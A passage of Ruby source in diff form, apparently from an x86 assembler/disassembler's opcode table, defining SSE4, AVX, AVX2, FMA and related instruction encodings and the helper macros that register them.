o.props[:needpfx] = 0x66 } + addop('pmovzxbq', [0x0F, 0x38, 0x32], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxwd', [0x0F, 0x38, 0x33], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxwq', [0x0F, 0x38, 0x34], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxdq', [0x0F, 0x38, 0x35], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('pmuldq', [0x0F, 0x38, 0x28], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmulld', [0x0F, 0x38, 0x40], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('ptest', [0x0F, 0x38, 0x17], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('roundps', [0x0F, 0x3A, 0x08], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundpd', [0x0F, 0x3A, 0x09], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundss', [0x0F, 0x3A, 0x0A], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundsd', [0x0F, 0x3A, 0x0B], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + end + + def init_sse42_only + init_cpu_constants + + addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } + addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('popcnt', [0x0F, 0xB8], :mrm) { |o| o.props[:needpfx] = 0xF3 } + end + + def init_avx_only + init_cpu_constants + + add128 = {} + add256 = {} + %w[movss movsd movlhps movhpd movhlps + cvtsi2ss cvtsi2sd sqrtss sqrtsd rsqrtss rcpss + addss addsd mulss mulsd cvtss2sd cvtsd2ss subss subsd + minss minsd divss divsd maxss maxsd + punpcklb punpcklw punpckld packsswb pcmpgtb pcmpgtw pcmpgtd packuswb + punpckhb punpckhw punpckhd packssdw punpcklq punpckhq + pcmpeqb pcmpeqw pcmpeqd ldmxcsr stmxcsr + cmpss cmpsd paddq pmullw psubusb psubusw pminub + pand paddusb paddusw pmaxub pandn pavgb pavgw + pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw pmaxsw pxor + pmuludq pmaddwd psadbw + psubb psubw psubd psubq paddb paddw paddd + phaddw phaddsw phaddd phsubw phsubsw phsubd + pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd + dppd insertps mpsadbw packusdw pblendw pcmpeqq + pinsrb pinsrw pinsrd pinsrq + pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw + pmuldq pmulld roundsd roundss pcmpgtq + aesdec aesdeclast aesenc aesenclast + pclmulqdq punpcklbw punpcklwd punpckldq punpckhbw punpckhwd + punpckhdq punpcklqdq punpckhqdq].each { |n| add128[n] = true } + + %w[movups movupd movddup movsldup + unpcklps unpcklpd unpckhps unpckhpd + movaps movshdup movapd movntps movntpd movmskps movmskpd + sqrtps sqrtpd rsqrtps rcpps andps andpd andnps andnpd + orps orpd xorps xorpd addps addpd mulps mulpd + cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq cvttps2dq + subps subpd minps minpd divps divpd maxps maxpd + movdqa movdqu haddpd haddps hsubpd hsubps + cmpps cmppd shufps shufpd addsubpd addsubps + cvtpd2dq cvttpd2dq cvtdq2pd movntdq lddqu + blendps blendpd blendvps blendvpd dpps ptest + roundpd roundps].each { |n| add128[n] = add256[n] = true } + + varg = Hash.new(1) + %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa + pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq + pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq + aesimc aeskeygenassist lddqu maskmovdqu movapd movaps + pcmpestri pcmpestrm pcmpistri pcmpistrm phminposuw + cvtpd2dq cvttpd2dq cvtdq2pd cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq + cvttps2dq movd movq movddup movdqa movdqu movmskps movmskpd + movntdq movntps movntpd movshdup movsldup movups movupd + pextrb pextrw pextrd pextrq ptest rcpps roundps roundpd + extractps sqrtps sqrtpd comiss comisd ucomiss ucomisd + cvttss2si cvttsd2si cvtss2si cvtsd2si + ].each { |n| add128[n] = true ; varg[n] = nil } + + cvtarg128 = { :regmmx => :regxmm, :modrmmmx => :modrmxmm } + cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, + :regxmm => :regymm, :modrmxmm => :modrmymm } + + # autopromote old sseX opcodes + @opcode_list.each { |o| + next if o.bin[0] != 0x0F or not add128[o.name] # rep cmpsd / movsd + + mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) + pp = o.props[:needpfx] + pp = 0x66 if o.props[:xmmx] + fpxlen = (mm == 0x0F ? 1 : 2) + + addop_vex('v' + o.name, [varg[o.name], 128, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg128[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg128[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + + next if not add256[o.name] + addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + } + + # sse promotion, special cases + addop_vex 'vpblendvb', [1, 128, 0x66, 0x0F3A, 0], 0x4C, :mrmxmm, :i4xmm + addop_vex 'vpsllw', [1, 128, 0x66, 0x0F], 0xF1, :mrmxmm + addop_vex('vpsllw', [0, 128, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpslld', [1, 128, 0x66, 0x0F], 0xF2, :mrmxmm + addop_vex('vpslld', [0, 128, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsllq', [1, 128, 0x66, 0x0F], 0xF3, :mrmxmm + addop_vex('vpsllq', [0, 128, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex('vpslldq',[0, 128, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsraw', [1, 128, 0x66, 0x0F], 0xE1, :mrmxmm + addop_vex('vpsraw', [0, 128, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrad', [1, 128, 0x66, 0x0F], 0xE2, :mrmxmm + addop_vex('vpsrad', [0, 128, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrlw', [1, 128, 0x66, 0x0F], 0xD1, :mrmxmm + addop_vex('vpsrlw', [0, 128, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrld', [1, 128, 0x66, 0x0F], 0xD2, :mrmxmm + addop_vex('vpsrld', [0, 128, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrlq', [1, 128, 0x66, 0x0F], 0xD3, :mrmxmm + addop_vex('vpsrlq', [0, 128, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex('vpsrldq',[0, 128, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + + # dst==mem => no vreg + addop_vex 'vmovhps', [1, 128, nil, 0x0F], 0x16, :mrmxmm, :modrmA + addop_vex('vmovhps', [nil, 128, nil, 0x0F], 0x17, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vmovlpd', [1, 128, 0x66, 0x0F], 0x12, :mrmxmm, :modrmA + addop_vex('vmovlpd', [nil, 128, 0x66, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vmovlps', [1, 128, nil, 0x0F], 0x12, :mrmxmm, :modrmA + addop_vex('vmovlps', [nil, 128, nil, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } + + addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmA + addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmA + addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmA + addop_vex 'vbroadcastf128', [nil, 256, 0x66, 0x0F38, 0], 0x1A, :mrmymm, :modrmA + + # general-purpose register operations + addop_vex 'andn', [1, :vexvreg, 128, nil, 0x0F38], 0xF2, :mrm + addop_vex 'bextr', [2, :vexvreg, 128, nil, 0x0F38], 0xF7, :mrm + addop_vex 'blsi', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 3 + addop_vex 'blsmsk', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 2 + addop_vex 'blsr', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 1 + addop_vex 'bzhi', [2, :vexvreg, 128, nil, 0x0F38], 0xF5, :mrm + addop('lzcnt', [0x0F, 0xBD], :mrm) { |o| o.props[:needpfx] = 0xF3 } + addop_vex 'mulx', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF6, :mrm + addop_vex 'pdep', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF5, :mrm + addop_vex 'pext', [1, :vexvreg, 128, 0xF3, 0x0F38], 0xF5, :mrm + addop_vex 'rorx', [nil, 128, 0xF2, 0x0F3A], 0xF0, :mrm, :u8 + addop_vex 'sarx', [2, :vexvreg, 128, 0xF3, 0x0F38], 0xF7, :mrm + addop_vex 'shrx', [2, :vexvreg, 128, 0xF2, 0x0F38], 0xF7, :mrm + addop_vex 'shlx', [2, :vexvreg, 128, 0x66, 0x0F38], 0xF7, :mrm + addop('tzcnt', [0x0F, 0xBC], :mrm) { |o| o.props[:needpfx] = 0xF3 } + addop('invpcid', [0x0F, 0x38, 0x82], :mrm) { |o| o.props[:needpfx] = 0x66 } + addop 'rdrand', [0x0F, 0xC7], 6, :modrmR + addop 'rdseed', [0x0F, 0xC7], 7, :modrmR + addop('adcx', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0x66 } + addop('adox', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0xF3 } + + # fp16 + addop_vex 'vcvtph2ps', [nil, 128, 0x66, 0x0F38, 0], 0x13, :mrmxmm + addop_vex 'vcvtph2ps', [nil, 256, 0x66, 0x0F38, 0], 0x13, :mrmymm + addop_vex('vcvtps2ph', [nil, 128, 0x66, 0x0F3A, 0], 0x1D, :mrmxmm, :u8) { |o| o.args.reverse! } + addop_vex('vcvtps2ph', [nil, 256, 0x66, 0x0F3A, 0], 0x1D, :mrmymm, :u8) { |o| o.args.reverse! } + + # TSE + addop 'xabort', [0xC6, 0xF8], nil, :i8 # may :stopexec + addop 'xbegin', [0xC7, 0xF8], nil, :i # may :setip: xabortreturns to $_(xbegin) + off + addop 'xend', [0x0F, 0x01, 0xD5] + addop 'xtest', [0x0F, 0x01, 0xD6] + + # SMAP + addop 'clac', [0x0F, 0x01, 0xCA] + addop 'stac', [0x0F, 0x01, 0xCB] + end + + def init_avx2_only + init_cpu_constants + + add256 = {} + %w[packsswb pcmpgtb pcmpgtw pcmpgtd packuswb packssdw + pcmpeqb pcmpeqw pcmpeqd paddq pmullw psubusb psubusw + pminub pand paddusb paddusw pmaxub pandn pavgb pavgw + pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw + pmaxsw pxor pmuludq pmaddwd psadbw + psubb psubw psubd psubq paddb paddw paddd + phaddw phaddsw phaddd phsubw phsubsw phsubd + pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd + mpsadbw packusdw pblendw pcmpeqq + pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw + pmuldq pmulld pcmpgtq punpcklbw punpcklwd punpckldq + punpckhbw punpckhwd punpckhdq punpcklqdq punpckhqdq + ].each { |n| add256[n] = true } + + varg = Hash.new(1) + %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa + pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq + pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq + maskmovdqu].each { |n| add256[n] = true ; varg[n] = nil } + + cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, + :regxmm => :regymm, :modrmxmm => :modrmymm } + + # autopromote old sseX opcodes + @opcode_list.each { |o| + next if o.bin[0] != 0x0F or not add256[o.name] + + mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) + pp = o.props[:needpfx] + pp = 0x66 if o.props[:xmmx] + fpxlen = (mm == 0x0F ? 1 : 2) + + addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + } + + # promote special cases + addop_vex 'vpblendvb', [1, 256, 0x66, 0x0F3A, 0], 0x4C, :mrmymm, :i4ymm + addop_vex 'vpsllw', [1, 256, 0x66, 0x0F], 0xF1, :mrmymm + addop_vex('vpsllw', [0, 256, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpslld', [1, 256, 0x66, 0x0F], 0xF2, :mrmymm + addop_vex('vpslld', [0, 256, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsllq', [1, 256, 0x66, 0x0F], 0xF3, :mrmymm + addop_vex('vpsllq', [0, 256, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex('vpslldq',[0, 256, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsraw', [1, 256, 0x66, 0x0F], 0xE1, :mrmymm + addop_vex('vpsraw', [0, 256, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrad', [1, 256, 0x66, 0x0F], 0xE2, :mrmymm + addop_vex('vpsrad', [0, 256, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrlw', [1, 256, 0x66, 0x0F], 0xD1, :mrmymm + addop_vex('vpsrlw', [0, 256, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrld', [1, 256, 0x66, 0x0F], 0xD2, :mrmymm + addop_vex('vpsrld', [0, 256, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrlq', [1, 256, 0x66, 0x0F], 0xD3, :mrmymm + addop_vex('vpsrlq', [0, 256, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex('vpsrldq',[0, 256, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + + addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmR + addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmR + addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmR + addop_vex 'vbroadcasti128', [nil, 256, 0x66, 0x0F38, 0], 0x5A, :mrmymm, :modrmA + addop_vex 'vpblendd', [1, 128, 0x66, 0x0F3A, 0], 0x02, :mrmxmm, :u8 + addop_vex 'vpblendd', [1, 256, 0x66, 0x0F3A, 0], 0x02, :mrmymm, :u8 + addop_vex 'vpbroadcastb', [nil, 128, 0x66, 0x0F38, 0], 0x78, :mrmxmm + addop_vex 'vpbroadcastb', [nil, 256, 0x66, 0x0F38, 0], 0x78, :mrmymm + addop_vex 'vpbroadcastw', [nil, 128, 0x66, 0x0F38, 0], 0x79, :mrmxmm + addop_vex 'vpbroadcastw', [nil, 256, 0x66, 0x0F38, 0], 0x79, :mrmymm + addop_vex 'vpbroadcastd', [nil, 128, 0x66, 0x0F38, 0], 0x58, :mrmxmm + addop_vex 'vpbroadcastd', [nil, 256, 0x66, 0x0F38, 0], 0x58, :mrmymm + addop_vex 'vpbroadcastq', [nil, 128, 0x66, 0x0F38, 0], 0x59, :mrmxmm + addop_vex 'vpbroadcastq', [nil, 256, 0x66, 0x0F38, 0], 0x59, :mrmymm + addop_vex 'vpermd', [1, 256, 0x66, 0x0F38, 0], 0x36, :mrmymm + addop_vex 'vpermpd', [nil, 256, 0x66, 0x0F3A, 1], 0x01, :mrmymm, :u8 + addop_vex 'vpermps', [1, 256, 0x66, 0x0F38, 0], 0x16, :mrmymm, :u8 + addop_vex 'vpermq', [nil, 256, 0x66, 0x0F3A, 1], 0x00, :mrmymm, :u8 + addop_vex 'vperm2i128', [1, 256, 0x66, 0x0F3A, 0], 0x46, :mrmymm, :u8 + addop_vex 'vextracti128', [nil, 256, 0x66, 0x0F3A, 0], 0x39, :mrmymm, :u8 + addop_vex 'vinserti128', [1, 256, 0x66, 0x0F3A, 0], 0x38, :mrmymm, :u8 + addop_vex 'vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8C, :mrmxmm, :modrmA + addop_vex 'vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8C, :mrmymm, :modrmA + addop_vex 'vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8C, :mrmxmm, :modrmA + addop_vex 'vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8C, :mrmymm, :modrmA + addop_vex('vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vpsllvd', [1, 128, 0x66, 0x0F38, 0], 0x47, :mrmxmm + addop_vex 'vpsllvq', [1, 128, 0x66, 0x0F38, 1], 0x47, :mrmxmm + addop_vex 'vpsllvd', [1, 256, 0x66, 0x0F38, 0], 0x47, :mrmymm + addop_vex 'vpsllvq', [1, 256, 0x66, 0x0F38, 1], 0x47, :mrmymm + addop_vex 'vpsravd', [1, 128, 0x66, 0x0F38, 0], 0x46, :mrmxmm + addop_vex 'vpsravd', [1, 256, 0x66, 0x0F38, 0], 0x46, :mrmymm + addop_vex 'vpsrlvd', [1, 128, 0x66, 0x0F38, 0], 0x45, :mrmxmm + addop_vex 'vpsrlvq', [1, 128, 0x66, 0x0F38, 1], 0x45, :mrmxmm + addop_vex 'vpsrlvd', [1, 256, 0x66, 0x0F38, 0], 0x45, :mrmymm + addop_vex 'vpsrlvq', [1, 256, 0x66, 0x0F38, 1], 0x45, :mrmymm + + addop_vex('vpgatherdd', [2, 128, 0x66, 0x0F38, 0], 0x90, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherdd', [2, 256, 0x66, 0x0F38, 0], 0x90, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherdq', [2, 128, 0x66, 0x0F38, 1], 0x90, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherdq', [2, 256, 0x66, 0x0F38, 1], 0x90, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherqd', [2, 128, 0x66, 0x0F38, 0], 0x91, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherqd', [2, 256, 0x66, 0x0F38, 0], 0x91, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherqq', [2, 128, 0x66, 0x0F38, 1], 0x91, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherqq', [2, 256, 0x66, 0x0F38, 1], 0x91, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherdps', [2, 128, 0x66, 0x0F38, 0], 0x92, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherdps', [2, 256, 0x66, 0x0F38, 0], 0x92, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherdpd', [2, 128, 0x66, 0x0F38, 1], 0x92, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherdpd', [2, 256, 0x66, 0x0F38, 1], 0x92, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherqps', [2, 128, 0x66, 0x0F38, 0], 0x93, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherqps', [2, 256, 0x66, 0x0F38, 0], 0x93, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherqpd', [2, 128, 0x66, 0x0F38, 1], 0x93, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherqpd', [2, 256, 0x66, 0x0F38, 1], 0x93, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + end + + def init_fma_only + init_cpu_constants + + [['vfmaddsub', 'p', 0x86], + ['vfmsubadd', 'p', 0x87], + ['vfmadd', 'p', 0x88], + ['vfmadd', 's', 0x89], + ['vfmsub', 'p', 0x8A], + ['vfmsub', 's', 0x8B], + ['vfnmadd', 'p', 0x8C], + ['vfnmadd', 's', 0x8D], + ['vfnmsub', 'p', 0x8E], + ['vfnmsub', 's', 0x8F]].each { |n1, n2, bin| + addop_vex n1 + '132' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm + addop_vex n1 + '132' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm + addop_vex n1 + '132' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm + addop_vex n1 + '132' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm + addop_vex n1 + '213' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm + addop_vex n1 + '213' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm + addop_vex n1 + '213' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm + addop_vex n1 + '213' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm + addop_vex n1 + '231' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm + addop_vex n1 + '231' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm + addop_vex n1 + '231' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm + addop_vex n1 + '231' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm + + # pseudo-opcodes aliases (swap arg0/arg1) + addop_vex(n1 + '312' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + } + end + + # + # CPU family dependencies + # + + def init_386_common + init_386_common_only + end + + def init_386 + init_386_common + init_386_only + end + + def init_387 + init_387_only + end + + def init_486 + init_386 + init_387 + init_486_only + end + + def init_pentium + init_486 + init_pentium_only + end + + def init_3dnow + init_pentium + init_3dnow_only + end + + def init_p6 + init_pentium + init_p6_only + end + + def init_sse + init_p6 + init_sse_only + end + + def init_sse2 + init_sse + init_sse2_only + end + + def init_sse3 + init_sse2 + init_sse3_only + end + + def init_ssse3 + init_sse3 + init_ssse3_only + end + + def init_sse41 + init_ssse3 + init_sse41_only + end + + def init_sse42 + init_sse41 + init_sse42_only + end + + def init_avx + init_sse42 + init_avx_only + end + + def init_avx2 + init_avx + init_fma_only + init_avx2_only + end + + def init_all + init_avx2 + init_3dnow_only + init_vmx_only + init_aesni_only + end + + alias init_latest init_all + + + # + # addop_* macros + # + + def addop_macro1(name, num, *props) + addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, :i, *props + addop(name, [num << 3], :mrmw, {:d => [0, 1]}) { |o| o.args.reverse! } + addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, :i, *props + end + def addop_macro2(name, num) + addop name, [0x0F, 0xBA], (4 | num), :u8 + addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } + end + def addop_macro3(name, num) + addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 + addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl + addop name, [0xC0], num, {:w => [0, 0]}, :u8 + end + + def addop_macrotttn(name, bin, hint, *props, &blk) + [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, + %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, + %w{s}, %w{ns}, %w{p pe}, %w{np po}, + %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| + b = bin.dup + if b[0] == 0x0F + b[1] |= i + else + b[0] |= i + end + + e.each { |k| addop(name + k, b.dup, hint, *props, &blk) } + } + end + + def addop_macrostr(name, bin, type) + # addop(name, bin.dup, {:w => [0, 